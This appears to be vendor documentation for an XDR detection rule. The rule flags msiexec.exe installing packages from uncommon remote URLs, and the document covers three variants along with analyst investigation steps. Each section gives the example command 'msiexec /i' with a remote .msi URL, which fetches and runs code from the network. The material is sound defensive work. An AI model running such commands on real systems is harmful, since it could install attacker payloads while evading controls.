Msiexec execution of an executable from an uncommon remote location

Synopsis

Field	Value
Activation Period	14 Days
Training Period	30 Days
Test Period	N/A (single event)
Deduplication Period	7 Days
Required Data	XDR Agent
Detector Tags	LOLBIN Execution Analytics
ATT&CK Tactic	Stealth (TA0005)
ATT&CK Technique	System Binary Proxy Execution: Msiexec (T1218.007)
Severity	Informational

Description

Msiexec is the command-line utility for the Windows Installer. Adversaries may abuse msiexec.exe to proxy execution of malicious payloads from remote locations.

Attacker's Goals

Evading security controls and executing arbitrary files from the web.

Investigative actions

Monitor the command-line arguments of msiexec.exe, For example, the command line - msiexec /i http://some_domain.com/www/executable.msi can be legitimate or malicious. Validate the following criteria, if none of them are correct, follow incident response procedures:

• Check execution of msiexec and the IP/Domain that used.
• Is the URL that is encoded in the command line trusted.
• Is executed DLL or MSI file known as legitimate.
• Is the initiating process legitimate and the user running it knows of its use.

Variations

Msiexec execution of an executable from an uncommon remote location by an RMM tool

Synopsis

Field	Value
ATT&CK Tactic	Stealth (TA0005)
ATT&CK Technique	System Binary Proxy Execution: Msiexec (T1218.007)
Severity	High

Description

Msiexec is the command-line utility for the Windows Installer. Adversaries may abuse msiexec.exe to proxy execution of malicious payloads from remote locations. This process was executed by a Remote Monitoring & Management tool.

Attacker's Goals

Evading security controls and executing arbitrary files from the web.

Investigative actions

Monitor the command-line arguments of msiexec.exe, For example, the command line - msiexec /i http://some_domain.com/www/executable.msi can be legitimate or malicious. Validate the following criteria, if none of them are correct, follow incident response procedures:

• Check execution of msiexec and the IP/Domain that used.
• Is the URL that is encoded in the command line trusted.
• Is executed DLL or MSI file known as legitimate.
• Is the initiating process legitimate and the user running it knows of its use.

Msiexec execution of an executable from an uncommon remote location with a specific port

Synopsis

Field	Value
ATT&CK Tactic	Stealth (TA0005)
ATT&CK Technique	System Binary Proxy Execution: Msiexec (T1218.007)
Severity	High

Description

Msiexec is the command-line utility for the Windows Installer. Adversaries may abuse msiexec.exe to proxy execution of malicious payloads from remote locations.

Attacker's Goals

Evading security controls and executing arbitrary files from the web.

Investigative actions

Monitor the command-line arguments of msiexec.exe, For example, the command line - msiexec /i http://some_domain.com/www/executable.msi can be legitimate or malicious. Validate the following criteria, if none of them are correct, follow incident response procedures:

• Check execution of msiexec and the IP/Domain that used.
• Is the URL that is encoded in the command line trusted.
• Is executed DLL or MSI file known as legitimate.
• Is the initiating process legitimate and the user running it knows of its use.

Msiexec execution of an executable from an uncommon remote location without properties

Synopsis

Field	Value
ATT&CK Tactic	Stealth (TA0005)
ATT&CK Technique	System Binary Proxy Execution: Msiexec (T1218.007)
Severity	Medium

Description

Msiexec is the command-line utility for the Windows Installer. Adversaries may abuse msiexec.exe to proxy execution of malicious payloads from remote locations. Execution without properties is more common in malware.

Attacker's Goals

Evading security controls and executing arbitrary files from the web.

Investigative actions

Monitor the command-line arguments of msiexec.exe, For example, the command line - msiexec /i http://some_domain.com/www/executable.msi can be legitimate or malicious. Validate the following criteria, if none of them are correct, follow incident response procedures:

• Check execution of msiexec and the IP/Domain that used.
• Is the URL that is encoded in the command line trusted.
• Is executed DLL or MSI file known as legitimate.
• Is the initiating process legitimate and the user running it knows of its use.